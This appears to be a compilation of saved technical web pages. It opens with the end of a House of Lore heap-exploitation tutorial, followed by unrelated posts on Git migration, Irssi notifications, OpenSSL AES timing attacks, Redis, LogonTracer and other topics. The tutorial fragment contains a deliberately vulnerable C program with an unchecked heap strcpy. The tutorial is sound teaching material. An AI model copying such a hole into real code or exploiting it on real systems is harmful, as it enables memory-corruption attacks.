  printf\("\nBuff2 -> \[ %p \]", buff2\);  
  buff3 = \(char \*\) malloc\(4096\);  
  printf\("\nBuff3 -> \[ %p \]\n", buff3\);  
  
  free\(buff2\);  
  
  printf\("\nBuff4 -> \[ %p \]", malloc\(4096\)\);  
  
  strcpy\(buff1, argv\[1\]\);  
  
  func1\(\);  
  
  return 0;  
\}  

  

As you can see, the code is more or less the same: just the allocation
requests changed. He just had to cheat a little bit for the 0x00 bytes
insertion with gdb. Anyway, adjusting the code a little bit could allow to
input those particular bytes.

  

However, this corruption approach didn’t last too much and a patch for glibc
was provided in version 2.6: the unlink macro is now used also in this branch.

  

This is all I had to say about the House of Lore. Quite interesting, I’d say,
even if only the smallbin version is still exploitable. However, the number of
requirements in order to perform this kind of attack is pretty high, and I
don’t know how many scenarios could actually fall in this category.

  

See you next time with the last house…

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook9

  

Loading...

  

Related

  

x86 Exploitation 101: this is the first witchy house

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

x86 Exploitation 101: "House of Mind" \- Undead and loving it...

In "Exploitation"

  

<img src='img/Temp2_10773.png' width='640' height='55' />

# FreshBooks Developer Site – Exit SVN, Enter Git

**Created:**| _5/18/2011 11:01:50 AM_  
---|---  
**Updated:**| _5/18/2011 11:01:50 AM_  
**Author:**| __  
**Tags:**| _Git_  
  

## Exit SVN, Enter Git

by Jason Diller on May 16, 2011

In a move that was a long time in coming, we recently transitioned our version
control system from Subversion to Git.

### Impetus

Our development team has been growing rapidly, and we’re not finished growing
yet. As a result, we often have several projects and features in development
at one time. For maximum flexibility, we’d ideally manage those small projects
by developing them on feature branches then merge them into the mainline trunk
when they’re ready. That way, any kind of delay in one feature won’t affect
any other projects that we have on the go.

We’re also flexible about letting people work from home some of the time, and
using a centralized repository like SVN limits developers to working connected
when they want to commit code. SVN can also be slow and unreliable over our
sometimes crowded office upstream connection. All-in-all, Git is a much faster
version control system.

#### Merge Pain

It’s hardly a secret, but merging branches with Subversion is difficult, has a
high potential for error, and often causes enough grief that it’s not worth
branching in the first place. As a result, people are a lot more likely to
commit directly to trunk rather than make a branch where they can commit more
often without disturbing others.

#### Enter Git

Again, this probably isn’t exactly breaking news at this point, but besides
the distributed nature of Git, one of its most often cited features is its
cheap and easy branches and pain-free merges. We chose Git over Mercurial
other offerings which solve the same problems simply because it is the DVCS
that the most of us had other experience with from our work on open-source
software and other hobby projects. We have been using it for a while for some
of our supporting applications, but hadn’t taken the plunge for our three
largest repositories.

### Preparing the Team

Some of our team members had never used Git \(or indeed, any DVCS\) at all,
while some of us had been using Git-SVN for some time. In order to make the
transition as smooth as possible, we gave everyone a lot of advance notice
that it was happening, and held a “Git for Noobs” session to go over some of
the basics.

Some good resources we shared with the team:

  * Git Ready – A free website with loads of articles subdevided into beginner, intermediate, advanced categories.
  * Pro Git – Scott Chacon’s book, available free online. We also have the dead-tree version in the office.

### Implementation Details

#### Central Canonical Respository

Despite the distributed nature of Git, to maintain sanity, you really need one
central repository designated as the canonical one for your team. This should
be the repository your continuous integration server uses to create builds/run
tests, and it should be the repository you release code from.

We host our central repositories with Girocco which provides a nice browser-
based UI for creating repositories, viewing logs, etc.

#### Branching Strategy

Git supports a variety of branching strategies, and some successful ones have
been documented in great detail on the web. We reviewed a bunch of them, and
really liked a few, especially the one I linked to above.

Ultimately, we decided to take a page from the product development strategy
known as Minimum Viable Product and minimize the amount of change we would
impose on the team all at once. We fully expect to make some refinements to
our process over time, but doing a big-bang change that included massive
process changes as well as the tools change increased the chances we’d make
mistakes, and make the transition more difficult.

Under SVN, ongoing day-to-day development committed to “Trunk”, in preparation
for a release, we’d make a new branch for that release \(“RC”\) and our QA
team would go to town making sure everything on the “RC” branch was production
ready. Any fixes for bugs found during testing are committed to “Trunk” then
merged on to “RC” On release day, our Ops team would take that branch and put
it into production.

<img src='img/svn-branching.png' width='500' height='254' />

For Git, we’ve kept the same overall approach for now, but renamed “Trunk” to
“Develop.” One drawback to this approach is that bug fixes have to be cherry-
picked from the main development branch since we don’t want to merge in any
other work. We could avoid cherry-picks by committing bug fixes to the “RC”
branch then doing a merge of the release branch back onto “Develop” instead, a
change we’ll likely make in the near future.

#### Master == Production

We decided to make the “Master” branch equivalent to the code that’s currently
in production. That way if a developer wants to investigate some behavior
currently happening in production, they can simply check out that branch and
run it to see what’s going on.

### Importing History

Everyone agreed \(it seems like a no-brainer\) that we wanted to import the
subversion history so that features like ‘git blame’ would provide useful
information and we wouldn’t have to keep a Subversion copy of everything
around just to look through history. Thankfully, tools exist that import
everything, and do it well.

Indeed, the git-svn tool that is part of current versions of Git can import
SVN history, and even rewrite SVN author names into the more verbose
“FirstName LastName <email@company.com>” format that Git typically uses, all
you have to do is pass it an “Authors” file with the mappings.

We used svn2git by nirvdrum \(Kevin Menard\), which wraps git-svn and provides
some extra cleanup after the import is complete. Specifically, it converts the
SVN branches from remote branches to local branches in the resulting
respository, which is something you definintely want.

### Make the Switch

We opted for a big-bang switch rather than a phased-in approach so that we
wouldn’t have to maintain two respositories and import changes on an ongoing
basis. We chose our “code freeze” day as the date for the switchover, as that
is the day our developers should have the least amount of work-in-progress
\(ideally, none\) that they’d have to sort out as part of the switch.

#### Lessons Learned

A couple of us stayed late to babysit the migration and make sure everything
was imported correctly so that it would be ready when everyone showed up for
work the next morning. We learned a couple of things we can share that’ll make
your transition easier if you’re doing the same.

  * **Run the import on the same phyiscal box as the SVN server**
Our first attempt used SVN over HTTPS to read the data, but it was slow
\(despite gigabit ethernet\), and eventually timed out, leaving the
importation in a half-finished state. We moved over to the actual physical
computer that served SVN and used the SVN:// protocol instead. It was much
faster, and perfectly reliable.

  * **Get your Authors file right**
We had to restart the importation a couple of times because of typos and
omissions in the authors file. Git-Svn will bail out if you give it an authors
file but finds a committer that isn’t in the file. If you have a lot of
history like we do, it’ll probably take a while run through, and an error in
the Authors file won’t show up until it tries to import a changeset from the
affected author. Not a big deal if it’s the first revision, but a pain if if
happens 80% of the way through the process.

### Onward

We’ve completed an entire iteration on Git, including one release, so it’s
probably safe to call the transition a success. We’ve already seen an uptick
in the number of feature branches in use, and the dreaded “\#&$\*^@\! TREE
CONFLICTS” hasn’t been heard shouted from the developer pods since, and never
will be again.

# Jabba Rants » Blog Archive » Irssi and Screen and Growl, oh my\!

**Created:**| _7/1/2010 2:13:23 PM_  
---|---  
**Updated:**| _7/4/2010 8:02:50 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Irssi and Screen and Growl, oh my\!

Over the last few weeks, I’ve been getting accustomed to my new job here at
Mozilla. Something that is used very extensively here is IRC chat. Since the
last time I used IRC for work was about two jobs ago, back when I was solely
working on linux desktops, I didn’t really have much experience with the
various IRC clients available for Mac. Colloquy is pretty nice, but I couldn’t
figure out how to make it store my channel passwords, such that the client
will automatically reconnect after waking the computer from sleep. X-Chat Aqua
was also pretty nice and had some good features as well as being very
customizable. I would recommend this to anyone that wants to really tweak
their IRC experience.

However, one feature that neither client offered is, of course, staying
connected to the IRC server when the computer is asleep. It is quite useful
for me to be able to log into the IRC channels that my colleagues are on and
be able to scroll back a ways to see what the current conversation is about,
or to see if I missed anything that is important to me. The obvious solution
here is to use an IRC client running on a remote machine that is always
running. Most people I’ve talked to use the Irssi running in a screen session
on a shell server somewhere. This is a perfect solution to the stated problem.

Using this method to connect to the IRC does bring up one whole new problem.
Since I am in anywhere from 7 to 10 different IRC channels at a time and have
work to do that doesn’t involve watching all channels all the time, I’ve
relied on Growl notifications to alert me whenever someone mentions my nick.
This is one feature that most people have to give up on in order to stay
connected using Irssi in a Screen session. Well, I did some research and found
a couple of pages on the internet that provided very useful information to
make possible using Irssi in a screen session on a remote server and still get
Growl notifications anytime your nick is mentioned\! Here is how to do it:

First of all, I won’t go into setting up Irssi or Screen. There is more than
enough documentation on the web to help with doing that. Also, I don’t want to
take credit for figuring out how to do this. Most of the information came from
this page.

First step:  
Download this script, unzip it and place it in your ~/.irssi/scripts/autorun/
folder \(create this directory if it doesn’t exist yet\).

Second step:  
Make sure your SSH public key is on the remote server where you will be
running your irssi instance.

Third step:  
Create a script on your local computer. I named it “growl\_irc.sh” and placed
it in my ~/bin/ directory, which I have added to my PATH variable.

>
[code]

>     #!/bin/bash
>  
[/code]

[code]

>     # Kill all current fnotify sessions
>     ps | awk '{if($0 ~ /fnotify/ && $1 ~ /[0-9]+/ && $4 !~ /awk/) print $1}' |
>     while read id; do
>     kill $id
>     done
>  
>  
[/code]

[code]

>     # SSH to host, clear file and listen for notifications
>     (ssh username@hostname -o PermitLocalCommand=no \
>     "> .irssi/fnotify; tail -f .irssi/fnotify" |
>     while read heading message; do
>     growlnotify -t "${heading}" -m "${message}";
>     done)&
>  
>  
[/code]

Fourth Step:  
Download and install growlnotify. It is in the DMG in a directory called
Extras that you can download from http://growl.info/

Fifth Step:  
Write a simple script, which opens an SSH session to the remote host and also
starts the growl\_irc.sh script. I call it “irc” and put it in my ~/bin/
directory:

>
[code]

>     #!/bin/bash
>     ~/bin/growl_irc.sh
>     ssh user@hostname
>  
[/code]

Sixth Step:  
On the remote server, I wrote another little wrapper script to resume the
screen session. It just has one line:

>
[code]

>     screen -raAd
>  
>  
[/code]

This can also be called “irc” or this line could be added to the
.bash\_profile file, if that is all the remote server will be used for.

So now my workflow is as follows: Open a terminal, type irc, once logged into
the remote server, type irc again and I have my Irssi up and running with
working growl notifications. Enjoy\!

Extra tips:  
Since I don’t want my irssi window to get lost among all the other terminal
windows I have open, I use Terminal.app for regular terminal work and iTerm
for Irssi. This way I can have default window sizes and colors for Irssi be
different than for other terminal stuff.

You can configure the growlnotify Application in the Growl Preference Pane to
make changes to how long the notification stays on screen, etc.

If you read the manpage for growlnotify, you can find ways to tweak the
notification’s icon, etc.

Look at the scripts available on http://www.irssi.org/scripts to find how to
change the appearance of Irssi, i.e. to get colored nicks and a list of active
nicks in a channel on the sidebar, reminiscent of X-Chat or other GUI clients.

# It’s all a question of time – AES timing attacks on OpenSSL | Red Hat Security
**Created:**| _7/3/2014 12:26:58 PM_  
---|---  
**Updated:**| _7/3/2014 12:26:58 PM_  
**Author:**| __  
**Tags:**| _crypto ssl_  
  

# It’s all a question of time – AES timing attacks on OpenSSL

_This blog post is co-authored with Andy Polyakov from the OpenSSL core team._

Advanced Encryption Standard \(AES\) is the mostly widely used symmetric block
cipher today. Its use is mandatory in several US government and industry
applications. Among the commercial standards AES is a part of SSL/TLS, IPSec,
802.11i, SSH and numerous other security products used throughout the world.

Ever since the inclusion of AES as a federal standard via FIPS PUB 197 and
even before that when it was known as Rijndael, there has been several
attempts to cryptanalyze it. However most of these attacks have not gone
beyond the academic papers they were written in. One of them worth mentioning
at this point is the key recovery attacks in AES-192/AES-256. A second angle
to this is attacks on the AES implementations via side-channels. A side-
channel attack exploits information which is leaked through physical channels
such power-consumption, noise or timing behaviour. In order to observe such a
behaviour the attacker usually needs to have some kind of direct or semi-
direct control over the implementation.

There has been some interest about side-channel attacks in the way OpenSSL
implements AES. I suppose OpenSSL is chosen mainly because its the most
popular cross-platform cryptographic library used on the internet. Most
Linux/Unix web servers use it, along with tons of closed source products on
all platforms. The earliest one dates back to 2005, and the recent ones being
about cross-VM cache-timing attacks on OpenSSL AES implementation described
here and here. These ones are more alarming, mainly because with
applications/data moving into the cloud, recovering AES keys from a cloud-
based virtual machine via a side-channel attack could mean complete failure
for the code.

After doing some research on how AES is implemented in OpenSSL there are
several interesting facts which have emerged, so stay tuned.

**What are cache-timing attacks?**

Cache memory is random access memory \(RAM\) that microprocessor can access
more quickly than it can access regular RAM. As the microprocessor processes
data, it looks first in the cache memory and if it finds the data there \(from
a previous reading of data\), it does not have to do the more time-consuming
reading of data from larger memory. Just like all other resources, cache is
shared among running processes for the efficiency and economy. This may be
dangerous from a cryptographic point of view, as it opens up a covert channel,
which allows malicious process to monitor the use of these caches and possibly
indirectly recover information about the input data, by carefully noting some
timing information about own cache access.

A particular kind of attack called the flush+reload attack works by forcing
data in the victim process out of the cache, waiting a bit, then measuring the
time it takes to access the data. If the victim process accesses the data
while the spy process is waiting, it will get put back into the cache, and the
spy process’s access to the data will be fast. If the victim process doesn’t
access the data, it will stay out of the cache, and the spy process’s access
will be slow. So, by measuring the access time, the spy can tell whether or
not the victim accessed the data during the wait interval. All this under
premise that data is shared between victim and adversary.

Note that we are not talking about secret key being shared, but effectively
public data, specifically lookup tables discussed in next paragraph.

**Is AES implementation in OpenSSL vulnerable to cache-timing attacks?**

Any cipher relying heavily on S-boxes may be vulnerable to cache-timing
attacks. The processor optimizes execution by loading these S-boxes into the
cache so that concurrent accesses/lookups, will not need loading them from the
main memory. Textbook implementations of these ciphers do not use constant-
time lookups when accessing the data from the S-boxes and worse each lookup
depends on portion of the secret encryption key. AES-128, as per the standard,
requires 10 rounds, each round involves 16 S-box lookups.

The Rijndael designers proposed a method which results in fast software
implementations. The core idea is to merge S-box lookup with another AES
operation by switching to larger pre-computed tables. There still are 16 table
lookups per round. This 16 are customarily segmented to 4 split tables, so
that there are 4 lookups per table and round. Each table consists of 256
32-bit entries. These are referred to as T-tables, and in the case of the
current research, the way these are loaded into the cache leads to timing-
leakages. The leakage as described in the paper is quantified by probability
of a cache line not being accessed as result of block operation. As each
lookup table, be it S-box or pre-computed T-table, consists of 256 entries,
probability is \(1-n/256\)^m, where n is number of table elements accommodated
in single cache line, and m is number of references to given table per block
operation. Smaller probability is, harder to mount the attack.

**Aren’t cache-timing attacks local, how is virtualized environment
affected?**

Enter KSM \(Kernel SamePage Merging\). KSM enables the kernel to examine two
or more already running programs and compare their memory. If any memory
regions or pages are identical, KSM reduces multiple identical memory pages to
a single page. This page is then marked copy on write. If the contents of the
page is modified by a guest virtual machine virtual machine, a new page is
created for that guest virtual machine. This means that cross-VM cache-timing
attacks would now be possible. You can stop KSM or modifiy its behaviour. Some
details are available here.

**You did not answer my original question, is AES in OpenSSL affected?**

In short, no. But not to settle for easy answers, let’s have a close look at
how AES in OpenSSL operates. In fact there are several implementations of AES
in OpenSSL codebase and each one of them may or may not be chosen based on
specific run-time conditions. Note: All of the above discussions are in about
OpenSSL version 1.0.1.

  * Intel Advanced Encryption Standard New Instructions or AES-NI, is an extension to the x86 instruction set for intel and AMD machines used since 2008. Intel processors from Westmere onwards and AMD processors from Bulldozer onwards have support for this. The purpose of AES-NI is to allow AES to be performed by dedicated circuitry, no cache is involved here, and hence it’s immune to cache-timing attacks. OpenSSL uses AES-NI by default, unless it’s disabled on purpose. Some hypervisors mask the AES-NI capability bit, which is customary done to make sure that the guests can be freely migrated within heterogeneous cluster/farm. In those cases OpenSSL will resort to other implementations in its codebase.
  * If AES-NI is not available, OpenSSL will either use Vector Permutation AES \(VPAES\) or Bit-sliced AES \(BSAES\), provided the SSSE3 instruction set extension is available. SSSE3 was first introduced in 2006, so there is a fair chance that this will be available in most computers used. Both of these techniques avoid data- and key-dependent branches and memory references, and therefore are immune to known timing attacks. VPAES is used for CBC encrypt, ECB and “obscure” modes like OFB, CFB, while BSAES is used for CBC decrypt, CTR and XTS.
  * In the end, if your processor does not support AES-NI or SSSE3, OpenSSL falls back to integer-only assembly code. Unlike widely used T-table implementations, this code path uses a single 256-bytes S-box. This means that probability of a cache line not being accessed as result of block operation would be \(1-64/256\)^160=1e-20. “Would be” means that actual probability is even less, in fact zero, because S-box is fully prefetched, and even in every round.

For completeness sake it should be noted that OpenSSL does include reference C
implementation which has no mitigations to cache-timing attacks. This is a
platform-independent fall-back code that is used on platforms with no assembly
modules, as well as in cases when assembler fails for some reason. On side
note, OpenSSL maintains really minimal assembler requirement for AES-NI and
SSSE3, in fact the code can be assembled on Fedora 1, even though support for
these instructions was added later.

Bottom line is that if you are using a Linux distribution which comes with
OpenSSL binaries, there is a very good chance that the packagers have taken
pain to ensure that the reference C implementation is not compiled in. \(Same
thing would happen if you download OpenSSL source code and compile it\)

It’s not clear from the research paper how the researchers were able to
conduct the side channel attack. All evidence suggests that they ended up
using the standard reference C implementation of AES instead of assembly
modules which have mitigations in place. The researchers were contacted but
did not respond to this point. Anyone using an OpenSSL binary they built
themselves using the defaults, or precompiled as part of an Linux distribution
should not be vulnerable to these attacks.

### Share this:

# Inside Google Books: Explore a book in 10 seconds

**Created:**| _7/2/2009 4:25:53 PM_  
---|---  
**Updated:**| _7/2/2009 4:26:11 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

**Explore a book in 10 seconds**  

## Wednesday, July 01, 2009 at 9:00 AM

Posted by Diego Puppin, Software Engineer  
  

In his 1979 novel _Se una notte d'inverno un viaggiatore_ \(_If on a winter's
night a traveler_\), Italian writer Italo Calvino imagines a character,
Lotaria, who uses an "electronic brain" to read her books. Her computer can
read a book "in a few minutes", and show her all the words in it, sorted by
frequency. In fact, Calvino was fascinated by the research of Mario Alinei,
who in the late 1960s created _Spogli Elettronici dell'Italiano Contemporaneo_
, an academic analysis of Italian literary masterworks \(including Calvino's
Il sentiero dei nidi di ragno\).

  
  

Alinei's team looked at words used in the Italian language over time, noting
changes in their frequency. You can imagine how this work was done forty years
ago: operators punching computing cards, a big mainframe computer being fed
words overnight, and an encoded output that had to be typeset again into book
form.

  
  

Now our computing infrastructure can do Alinei's work in a few seconds.
Starting today, you'll find a cloud of "Common Terms and Phrases" on the Book
Overview page for some of our books. This cloud represents the distribution of
words in a book: big terms are more common in the book, while small terms are
rarer.

  
  

<img src='img/Temp2_4457.png' width='665' height='186' />

  
  

As with the other features on the Book Overview page, the word cloud is meant
to offer a new way to explore our catalog. If you are trying to learn about
Italian art, a search in our index will find many good books on the
Renaissance period. Use the cloud of common terms to tell what each book is
about. For example, _The Renaissance_ is more focused on the "canon" of art
\(see the emphasis to beauty, Greek models, poetry of art\), while
_Renaissance Art_ casts light on the role of patrons in the art scene
\(patrons, commission, family\). After this 10-second glance at the contents,
you can choose which book to study next. Happy reading\!

<img src='img/Temp2_4460.png' width='18' height='18' />

#### Links to this post

    
Google Books word cloud <img src='img/Temp2_4459.png' />

    In the late 1960s, Mario Alinei created Spogli Elettronici dell'Italiano Contemporaneo, an academic analysis of Italian literary masterworks \(including Calvino's Il sentiero dei nidi di ragno\). Now, Google can do Alinei's work.
    Posted by DG at 5:49 AM
Explore Google Books ebooks with Tag Cloud keywords <img
src='img/Temp2_4459.png' />

    Explore ebooks on Google Book search using tag cloud keywords. Check for keyword listing on ebook webpage under common terms and phrases title.
    Posted by Davinder at 7:32 PM
Explore a book in 10 seconds | Library Stuff <img src='img/Temp2_4459.png' />
    Inside Google Books - Starting today, you'll find a cloud of Common Terms and Phrases on the Book Overview page for some of our books. This cloud represents.
    Posted by Steven at 5:46 PM
Google Book Search Now With Cloud Tag | Search Engine Optimization **...** <img src='img/Temp2_4459.png' />
    In his 1979 novel Se una notte d'inverno un viaggiatore \(If on a winter's night a traveler\), Italian writer Italo ...
    Posted by admin at 1:02 PM
Googland: \[G\] Explore a book in 10 seconds <img src='img/Temp2_4459.png' />

    Posted by Diego Puppin, Software Engineer. In his 1979 novel Se una notte d'inverno un viaggiatore \(If on a winter's night a traveler\), Italian writer Italo Calvino imagines a character, Lotaria, who uses an "electronic brain" to read **...**
     Posted by X at 11:55 AM
Around Robin: The cloud over google book search <img src='img/Temp2_4459.png'
/>

    A conversation about journalism, the internet, media, trust, truth, libraries & archives, social networks & publishing, and the democratisation of doubt - with occasional photographs and a nod to cinema. **...**
     Posted by Robin Hunt at 11:40 AM
Google Book Search Now With Cloud Tag <img src='img/Temp2_4459.png' />

    The Google Book Search Blog announced a neat new feature that allows you to peek into the book via what is known as a cloud tag. The cloud tag shows you the.
    Posted by Barry Schwartz at 11:16 AM
Create a Link

Older Post Home

ArchiveJuly \(1\)June \(6\)May \(1\)April \(3\)March \(3\)February
\(5\)January \(2\)December \(1\)November \(2\)October \(4\)September
\(3\)August \(1\)July \(2\)June \(4\)May \(1\)April \(4\)March \(4\)February
\(4\)January \(2\)December \(3\)November \(3\)October \(8\)September
\(8\)August \(7\)July \(6\)June \(4\)May \(7\)April \(7\)March \(6\)February
\(9\)January \(5\)December \(5\)November \(9\)October \(11\)September
\(9\)August \(12\)July \(7\)June \(7\)May \(10\)

<img src='img/Temp2_4458.png' width='18' height='18' />

# JPCERTCC/LogonTracer

**Created:**| _9/23/2018 9:00:14 AM_  
---|---  
**Updated:**| _9/23/2018 9:00:14 AM_  
**Author:**| _wishi_  
**Tags:**| _event-corelation logon_  
  

  

# JPCERTCC/LogonTracer

<img src='img/logo_top.svg' width='576' height='359' />

## Concept

**LogonTracer** is a tool to investigate malicious logon by visualizing and
analyzing Windows Active Directory event logs. This tool associates a host
name \(or an IP address\) and account name found in logon-related events and
displays it as a graph. This way, it is possible to see in which account login
attempt occurs and which host is used.  
This tool can visualize the following event id related to Windows logon based
on this research.

  * **4624** : Successful logon
  * **4625** : Logon failure
  * **4768** : Kerberos Authentication \(TGT Request\)
  * **4769** : Kerberos Service Ticket \(ST Request\)
  * **4776** : NTLM Authentication
  * **4672** : Assign special privileges

More details are described in the following documents:

<img src='img/sample.png' width='576' height='315' alt='LogonTracer sample' />

## Additional Analysis

LogonTracer uses PageRank, Hidden Markov model and ChangeFinder to detect
malicious hosts and accounts from event log.  

<img src='img/rank.png' width='346' height='259' alt='PageRank List' />

  
With LogonTracer, it is also possible to display event logs in a chronological
order.  

<img src='img/timeline.png' width='576' height='329' alt='Timeline' />

## Use LogonTracer

To use LogonTracer, you can:

## Documentation

If you want to know more details, please check the LogonTracer wiki.

## Architecture

LogonTracer is written in Python and uses Neo4j for database. The following
tools are used.

  * Python 3
  * Neo4j for a graph database.
  * Neo4j JavaScript driver for connects to Neo4j using the binary protocol.
  * Cytoscape for visualizing a graph network.
  * Flask is a microframework for Python.

  

# Redis\_2\_0\_0\_Changelog - redis - Project Hosting on Google Code

**Created:**| _9/10/2010 9:49:01 AM_  
---|---  
**Updated:**| _9/10/2010 9:49:01 AM_  
**Author:**| _wishi_  
**Tags:**| _awesome rop_  
  

# Redis 2.0: What's new?¶

The release of Redis 2.0 marks a major milestone in Redis development. Apart
from an endless list of new features, there are some major ones that deserve
to be highlighted. It's worth to mention that while Redis 2.0.0 just reached
its first stable release, Redis 2.2.0 is near to reach feature freeze, so ...
be prepared for new exiting things in very short time\!

### MULTI/EXEC¶

The MULTI/EXEC family of commands were added to fulfill the need to execute
multiple commands as a single atomic block. Because all commands inside a
MULTI/EXEC block are serialized and executed sequentially, it is not possible
that another client request is served in the middle of executing this block.
All commands are executed one after the other when EXEC is called, which makes
sure either **all** or **no** commands are executed, independent of the state
of the client connection. More on MULTI/EXEC:

  * http://code.google.com/p/redis/wiki/MultiExecCommand

Note that WATCH, a CAS \(check and set\) variant of MULTI/EXEC will be
available on 2.2.0 and is not part of 2.0.0.

### Blocking pop¶

The commands BLPOP and BRPOP were added to support popping from a list in a
blocking fashion. This means the client connection will be blocked for a
certain amount of time until another client pushes an item on a list. These
commands are frequently used in producer/consumer scenarios. More on blocking
pop:

  * http://code.google.com/p/redis/wiki/BlpopCommand

### Publish/subscribe¶

The family of publish/subscribe commands let clients publish messages onto
channels and subscribe to receive all messages that are published on channels.
Also included are commands to receive all messages for which the channel
matches a given pattern. More on publish/subscribe:

  * http://code.google.com/p/redis/wiki/PublishSubscribe
  * http://antirez.com/post/redis-weekly-update-3-publish-submit.html
  * http://rediscookbook.org/pubsub\_for\_asynchronous\_communication.html

### Hashes¶

This new datatype allows to store multiple key/value pairs on a single key.
Together with the list of regular commands you would expect for such a
datatype \(HSET, HGET, HDEL, HLEN, HKEYS, ...\), it is also possible to use
the values _inside_ a hash for any SORT operation. More on hashes:

  * http://code.google.com/p/redis/wiki/HsetCommand
  * http://antirez.com/post/redis-weekly-update-1.html

### Virtual Memory¶

Redis Virtual Memory allows users to grow their dataset beyond the limits of
their RAM. More on virtual memory:

  * http://code.google.com/p/redis/wiki/VirtualMemoryUserGuide
  * http://antirez.com/post/redis-virtual-memory-story.html

### Contributors¶

  * Salvatore Sanfilippo
  * Pieter Noordhuis
  * Antonio Ognio
  * Alex McHale
  * Michel Martens
  * Damian Janowski
  * Bruno Deferrari
  * Ashley Martens
  * Derek Collison
  * Damian Janowski
  * Jeremy Zawodny
  * Konstantin Merenkov
  * Michel Martens
  * Sam Hendley

### Special Thanks¶

Thanks to VMware sponsoring the work of Salvatore and Pieter, and the Redis
community of users and client library developers. Redis 2.0.0 was possible
only thanks to your support.

### DOWNLOAD¶

You can grab Redis 2.0.0 from Google Code. It is also tagged on Git.  
---

# Detecting Packers in Network Streams with Pynids and Pefile | Attack Research
**Created:**| _5/22/2009 5:04:33 PM_  
---|---  
**Updated:**| _5/22/2009 5:04:59 PM_  
**Author:**| __  
**Tags:**| _security tools Detection Hacks pwnage intrusion_  
  

## Detecting Packers in Network Streams with Pynids and Pefile

Submitted by valsmith on Thu, 05/21/2009 - 16:03

  * General

  
---  
FamousJS released a cool way to find packers:

"

To step away from using snort as a base for detecting binary packers, I
decided to go with a more direct approach and use a library that handled
stream reassembly within python. I then simply took the data once the
connection had closed, and scanned the data with PeFile. The python script,
which I call nPeID \(network peid\), can either scan a pcap if passed in as an
argument, or sniff on an interface \(default is eth0\).

Example Output:

famousjs@youbantoo:~/npeid$ ./npeid.py out.pcap  
\['UPX 2.90 \[LZMA\] -> Markus Oberhumer, Laszlo Molnar & John Reiser'\]

Download: http://www.malforge.com/npeid/npeid.zip  
"

Check it out\!

V.

# Living Code: Go Language and Functional Programming

**Created:**| _10/2/2013 3:16:16 PM_  
---|---  
**Updated:**| _10/2/2013 3:16:16 PM_  
**Author:**| __  
**Tags:**| _programming Functional go_  
  

# Go Language and Functional Programming****

There is a cool new language on the block, coming from The Google courtesy of
\(among others\) Rob Pike and Ken Thompson**.** The language is called Go
\(and the debugger is called Ogle, so put 'em together for a secret message\)
and it attempts to be both a low-level, type-safe, compiled language, like C,
while being garbage-collected, concise, with high-level structures and idioms
like Python and Javascript**.** There are a lot of things to like in it, and I
am exploring what it can and cannot do**.** My first question was whether you
could use it for functional programming, i.e., are functions first-class
objects that can be passed to other functions, returned from functions, stored
in variables, etc**.** This wasn't in the FAQ  or the Language Design FAQ ,
but there were some hints of it in the description of channels, so I went
ahead and wrote my own tests to see if it would work**.**

[code]

    package main
    import fmt "fmt"
    type Stringy func() string
    func foo() string{
            return "Stringy function"
    }
    func takesAFunction(foo Stringy){
        fmt.Printf("takesAFunction: %v\n", foo())
    }
    func returnsAFunction()Stringy{
        return func()string{
            fmt.Printf("Inner stringy function\n");
            return "bar" // have to return a string to be stringy
        }
    }
    func main(){
        takesAFunction(foo);
        var f Stringy = returnsAFunction();
        f();
        var baz Stringy = func()string{
            return "anonymous stringy\n"
        };
        fmt.Printf(baz());
    }
    
[/code]

This compiled and ran, giving the right output, so it looks to me like
functional programming is indeed possible in Go, and on the Effective Go  page
we learn, "In Go, function literals are closures: the implementation makes
sure the variables referred to by the function survive as long as they are
active**.** " So that's kind of cool**.**

Go also has rich, high-level concurrency support similar to Erlang , several
features that prevent random memory from being read or written, and both
strings and maps \(dictionaries, hash tables\) are built-in datatypes**.** It
has a small, but powerful standard library**.**

One puzzle down, several to go. I still want to explore how I can talk to
Cocoa  from Go \(for GUIs\), how to wrap libraries such as libxml2  and cairo
for Go, and basically how to map more Python/Javascript library goodness into
Go's world**.**

I have smaller questions too: can I add methods to existing types**?** How do
I load the contents of a URL? It's looking good so far\! Tune in next time for
more exploration**.**

Tags: Example Code  GoLang  Tutorial

\[Permalink \] Posted on 2009-11-13 by Dethe Elza

****

# Using Ctrl+Alt+F1 in a VMWare Virtual Machine

**Created:**| _11/25/2010 2:48:33 PM_  
---|---  
**Updated:**| _11/25/2010 2:48:34 PM_  
**Author:**| __  
**Tags:**| __  
  

# Using Ctrl+Alt+F1 in a VMWare Virtual Machine

### Posted August 9th, 2007 in VMWare

I use VMWare Workstation 6.0 on a daily basis to run a Windows XP virtual
machine on my SUSE Linux host machine so that I can run Windows only
applications such as Adobe Photoshop, and to test websites with Internet
Explorer, Opera and Mozilla Firefox on a native Windows platform. I also use
it for testing out various Linux distributions either to run live CDs or
install a full operating system without having to have a dedicated computer
for that specific purpose only.

One of the great things about Linux is that it supports multiple consoles
which can be access using Ctrl+Alt+Fx where Fx are the functions such as F1,
F2 and so on. Usually the first 6 function keys are reserved for the console
and the remaining keys are for accessing XWindows/Xorg sessions. The first X
session will be accessed with Ctrl+Alt+F7 and if you are logged into a second
X session it will be available at Ctrl+Alt+F8 and so on.

While playing around with a Linux distribution in VMWare Workstation the other
day, I realised I needed to drop to the console, log in as root and do
something from the command line. So I hit Ctrl+Alt+F1 expecting this to do it
in the virtual machine, but it instead dropped my host operating system to the
command line console. Not quite what I was expecting, but as I quickly
remembered, Ctrl+Alt has special meaning in VMWare Workstation as a way of
releasing keyboard and mouse control from the guest and returning it to the
host.

I jumped back to my KDE desktop using Ctrl+Alt+F7 and had a look through the
various VMWare Workstation settings and discovered that in order to send a
regular Ctrl+Alt keyboard combination to the guest you need to press
Ctrl+Alt+Space, then release the spacebar while still holding down the
Ctrl+Alt keys, and then pressing the extra key. So to drop to a console I
needed to Ctrl+Alt+Space, release the space, keep holding down Ctrl+Alt and
then press the F1 key.

Simple when you know how\!

One final note: Ctrl+Alt+Delete is already catered for \(on Linux as a host at
least, I don't know about Windows as a host\). If you press Ctrl+Alt+Delete on
a Linux host then the key combination will be automatically sent to the guest
without the need to do Ctrl+Alt+Space and then delete. I guess they dealt with
this because it's a fairly commonly used keystroke combination on Windows used
for logging in and bringing up the task manager.

# In depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign – Part
1

**Created:**| _10/8/2013 2:02:32 PM_  
---|---  
